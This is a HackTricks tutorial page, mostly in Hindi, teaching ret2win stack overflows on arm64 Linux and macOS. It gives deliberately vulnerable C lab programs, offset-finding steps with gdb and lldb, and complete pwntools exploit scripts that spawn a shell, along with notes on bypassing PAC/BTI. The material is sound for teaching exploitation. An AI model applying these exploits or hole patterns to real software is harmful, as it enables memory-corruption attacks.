Ret2win - arm64

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

arm64 का परिचय निम्नलिखित में पाया जा सकता है:

Introduction to ARM64v8

Code

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

pie और canary के बिना संकलित करें:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • अतिरिक्त फ्लैग -mbranch-protection=none AArch64 Branch Protection (PAC/BTI) को डिसेबल करता है। अगर आपका toolchain डिफ़ॉल्ट रूप से PAC या BTI सक्षम करता है, तो इससे लैब पुनरुत्पादनीय रहती है। यह जांचने के लिए कि compiled binary PAC/BTI का उपयोग कर रहा है आप कर सकते हैं:
  • AArch64 GNU properties के लिए देखें:
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • prologues/epilogues में paciasp/autiasp (PAC) या bti c landing pads (BTI) की जाँच करें:
  • objdump -d ret2win | head -n 40

AArch64 calling convention quick facts

  • लिंक रजिस्टर x30 (a.k.a. lr) है, और फ़ंक्शन्स आमतौर पर x29/x30 को stp x29, x30, [sp, #-16]! से सेव करते हैं और ldp x29, x30, [sp], #16; ret से रिस्टोर करते हैं।
  • इसका मतलब है कि saved return address फ्रेम बेस के सापेक्ष sp+8 पर रहता है। नीचे एक char buffer[64] नीचे रखा होने पर, saved x30 तक आमतौर पर ओवरराइट दूरी 64 (buffer) + 8 (saved x29) = 72 bytes होती है — बिल्कुल वही जो हम नीचे पाएँगे।
  • स्टैक पॉइंटर को फ़ंक्शन बाउंड्रीज़ पर 16‑बाइट एलाइन रहना चाहिए। अगर आप बाद में अधिक जटिल परिदृश्यों के लिए ROP chains बनाते हैं, तो SP alignment बनाए रखें वरना आप function epilogues में crash कर सकते हैं।

Finding the offset

Pattern option

This example was created using GEF:

Stat gdb with gef, create pattern and use it:

gdb -q ./ret2win
pattern create 200
run

arm64 रजिस्टर x30 में मौजूद पते पर लौटने की कोशिश करेगा (जो compromised था), हम इसका उपयोग pattern offset खोजने के लिए कर सकते हैं:

pattern search $x30

offset 72 है (9x48).

Stack offset विकल्प

शुरू करें उस Stack address को प्राप्त करके जहाँ pc register स्टोर है:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

अब read() के बाद एक breakpoint सेट करें और read() के executed होने तक continue करें और 13371337 जैसे एक pattern सेट करें:

b *vulnerable_function+28
c

जानें कि यह पैटर्न मेमोरी में कहाँ स्टोर है:

Then: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

साधारण

win फ़ंक्शन का पता निकालें:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

दरअसल यह स्टैक में संग्रहीत PC में off-by-2 जैसा होगा। पूरे return address को overwrite करने के बजाय हम केवल अंतिम 2 bytes को 0x06c4 से overwrite करेंगे।

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

आप ARM64 में एक और off-by-one उदाहरण इस लिंक पर पा सकते हैं https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, जो एक fictitious vulnerability में वास्तविक off-by-one है।

PIE के साथ

Tip

बाइनरी को -no-pie आर्गुमेंट के बिना कंपाइल करें

Off-by-2

leak के बिना हम win function का exact address नहीं जानते, लेकिन हम binary में function का offset जान सकते हैं और यह जानते हुए कि जिस return address को हम overwrite कर रहे हैं वह पहले से ही एक नज़दीकी address की ओर इशारा कर रहा है, इस मामले में win function का offset (0x7d4) leak करना और उसी offset का उपयोग करना संभव है:

```python from pwn import *

Configuration

binary_name = ‘./ret2win’ p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

## macOS

### Code
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}

void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}

int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}

canary के बिना कम्पाइल करें (macOS में आप PIE को अक्षम नहीं कर सकते):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

ASLR के बिना निष्पादित करें (हालाँकि हमारे पास एक address leak है, इसलिए हमें इसकी आवश्यकता नहीं है):

env DYLD_DISABLE_ASLR=1 ./bof_macos

Tip

macOS में NX को अक्षम करना संभव नहीं है क्योंकि arm64 पर यह मोड hardware स्तर पर लागू किया गया है, इसलिए आप macOS में stack में shellcode वाले उदाहरण नहीं पाएंगे।

ऑफ़सेट ढूँढें

  • पैटर्न बनाएँ:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
  • प्रोग्राम चलाएँ और क्रैश उत्पन्न करने के लिए pattern इनपुट करें:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
  • रजिस्टर x30 (the return address) की जाँच करें ताकि offset पता चल सके:
(lldb) register read x30
  • cyclic -l <value> का उपयोग सटीक offset खोजने के लिए:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY

# Replace 0x61616173 with the 4 first bytes from the value of x30
  • यही तरीका था जिससे मैंने offset 72 पाया; उस offset में win() function का address डालकर आप वह function execute कर सकते हैं और shell प्राप्त कर सकते हैं (ASLR बंद होने पर)।

Exploit

#!/usr/bin/env python3
from pwn import *
import re

# Load the binary
binary_name = './bof_macos'

# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)

win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

macOS - दूसरा उदाहरण

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}

__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}

__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}

int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);

// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);

// Sleep 3s
sleep(3);

vuln();
return 0;
}

canary के बिना कम्पाइल करें (macOS में आप PIE को निष्क्रिय नहीं कर सकते):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

ऑफ़सेट खोजें

  • फ़ाइल /tmp/exploit.txt में एक पैटर्न जनरेट करें:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
  • प्रोग्राम चलाएँ ताकि यह क्रैश हो:
lldb ./bof_macos
(lldb) run
  • रजिस्टर x30 (the return address) देखें ताकि offset पता चल सके:
(lldb) register read x30
  • cyclic -l <value> का उपयोग करके सटीक offset खोजें:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
  • इसी तरह मैंने offset 72 पाया; उस offset में win() फ़ंक्शन का address डालकर आप वह फ़ंक्शन execute कर सकते हैं और shell प्राप्त कर सकते हैं (ASLR नहीं होने पर).

win() के address की गणना

  • बाइनरी PIE है; leak_anchor() फ़ंक्शन के leak का उपयोग करके और leak_anchor() फ़ंक्शन से win() फ़ंक्शन के offset को जानते हुए हम win() फ़ंक्शन का address निकाल सकते हैं।
objdump -d bof_macos | grep -E 'leak_anchor|win'

0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
  • offset है 0x47c - 0x460 = 0x1c

Exploit

#!/usr/bin/env python3
from pwn import *
import re
import os

# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")

# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)

print("[*] Payload written to /tmp/exploit.txt")

# Drop to an interactive session
p.interactive()

आधुनिक AArch64 हार्डनिंग (PAC/BTI) और ret2win पर नोट्स

  • यदि बाइनरी AArch64 Branch Protection के साथ संकलित है, तो आप फ़ंक्शन प्रोलॉग/एपिलॉग में paciasp/autiasp या bti c देख सकते हैं। ऐसी स्थिति में:
  • सही BTI landing pad नहीं होने वाले पते पर लौटना SIGILL उठा सकता है। bti c वाले उसी फ़ंक्शन एंट्री को टार्गेट करना बेहतर है।
  • यदि RETURNS के लिए PAC सक्षम है, तो साधारण return‑address overwrites असफल हो सकते हैं क्योंकि एपिलॉग x30 को authenticate करता है। सीखने के परिदृश्यों के लिए, पुनः बिल्ड करें με -mbranch-protection=none (ऊपर दिखाया गया)। असली लक्ष्यों पर हमला करते समय, non‑return hijacks पसंद करें (उदा., function pointer overwrites) या ऐसा ROP बनाएं जो कभी भी आपके जाली LR को authenticate करने वाला autiasp/ret जोड़ा execute न करे।
  • फ़ीचर्स जल्दी से चेक करने के लिए:
  • readelf --notes -W ./ret2win और AARCH64_FEATURE_1_BTI / AARCH64_FEATURE_1_PAC नोट्स देखें।
  • objdump -d ./ret2win | head -n 40 और bti c, paciasp, autiasp देखें।

non‑ARM64 होस्ट्स पर चलाना (qemu‑user त्वरित टिप)

यदि आप x86_64 पर हैं लेकिन AArch64 का अभ्यास करना चाहते हैं:

# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

संबंधित HackTricks पृष्ठ

Ret2syscall - arm64

Ret2lib + Printf leak - arm64

संदर्भ

  • AArch64 पर Linux के लिए PAC और BTI सक्षम करना (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Arm 64-bit Architecture के लिए प्रोसीजर कॉल मानक (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें